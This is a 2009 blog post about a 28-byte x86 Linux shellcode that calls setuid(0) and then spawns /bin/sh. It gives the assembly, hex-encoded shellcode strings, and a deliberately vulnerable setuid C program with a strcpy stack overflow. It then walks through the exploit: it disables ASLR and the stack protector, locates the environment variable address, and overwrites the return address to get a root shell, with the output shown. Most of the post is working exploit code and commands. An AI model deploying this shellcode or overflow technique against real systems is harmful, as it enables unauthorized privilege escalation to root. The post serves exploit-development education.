Tuesday, March 10, 2009

Smallest “setuid” & “execve” GNU/Linux x86 stable shellcode without nulls

Chema Garcia from OpenSec proposes a minimal shellcode that maximizes the privileges of a process before spawning a shell. The total size is 28 bytes.

global _start
section .text
_start:
;setuid(0)
xor ebx,ebx
lea eax,[ebx+17h]
cdq
int 80h
;execve("/bin/sh",0,0)
xor ecx,ecx
push ecx
push 0x68732f6e
push 0x69622f2f
lea eax,[ecx+0Bh]
mov ebx,esp
int 80h

There have been some discussions reducing the size of the shellcode and some solutions have been published. The one you can find in packetstormsecurity by vlan7 for example, does not suid root when the starting memory is not not zeroed.

We are going to demonstrate it by exploiting the program you can find below. Notice that seteuid() sets the effective uid to 5000 despite the real uid stills being the one who owns the executable (if the file has the flag suid active).

#include <stdio.h>
#include <string.h>
#include <sys h="">
#include <unistd.h>

int main(int argc, char *argv[]) {
seteuid(5000);
function(argv[1]);
}

void function(char *arg){
char buffer[8];
strcpy(buffer, arg);
printf("buffer is at %p and contains \'%s\'\n", buffer, buffer);
}


I have put into three different environment variables three different versions of the shellcodes:
$SHELLCODE0: Running shellcode published in the last post (many bytes)
$SHELLCODE1: Shellcode download from packetstormsecurity (26 bytes)
$SHELLCODE2: Shellcode from Chema Garcia (28 bytes)

Put the shellcode code into the corresponding variables.

plana$ export SHELLCODE0=`cat highest_priv_shell`
plana$ export SHELLCODE1=$(perl -e 'print "\x31\xc0\x99\xb0\x17\x60\xcd\x80\x61\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"')
plana$ export SHELLCODE2=$(perl -e 'print "\x31\xdb\x8d\x43\x17\x99\xcd\x80\x31\xc9\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x8d\x41\x0b\x89\xe3\xcd\x80"')

Compile and set suid to the exploitable program. Disable stack and randomization of memory space protections.

root@pdux:~# echo 0 > /proc/sys/kernel/randomize_va_space
plana$ gcc -g overflowable.c -o overflowable -fno-stack-protector
overflowable.c:8: warning: conflicting types for ‘function’
overflowable.c:5: warning: previous implicit declaration of ‘function’ was here
plana$ sudo chown root:root overflowable
plana$ sudo chmod u+s overflowable

Get the environment variable addres and overwrite the return address with the obtained one.

plana$ ./getenvaddr SHELLCODE0 ./overflowable
SHELLCODE_OK will be at 0xbffffcb1
plana$ ./overflowable $(perl -e 'print "A"x12 . "\xb1\xfc\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit

plana$ ./getenvaddr SHELLCODE1 ./overflowable
SHELLCODE will be at 0xbffff653
plana$ ./overflowable $(perl -e 'print "A"x12 . "\x53\xf6\xff\xbf"')
buffer is at 0xbffff3b0 and contains 'AAAAAAAAAAAAS���'
$ whoami
whoami: cannot find name for user ID 40948
$ exit

plana$ ./getenvaddr SHELLCODE2 ./overflowableSHELLCODE2 will be at 0xbffffdfc
plana$ ./overflowable $(perl -e 'print "A"x12 . "\xfc\xfd\xff\xbf"')buffer is at 0xbffff380 and contains 'AAAAAAAAAAAA����'
# whoami
root
# exit

With that we demonstrate that the minimal 28 bytes shellcode spawns root. We have as well demonstrated that the vlan7's one (shellcode1) does not really work since assumes the zeroivity of a setresuid parameter.

No comments:

Post a Comment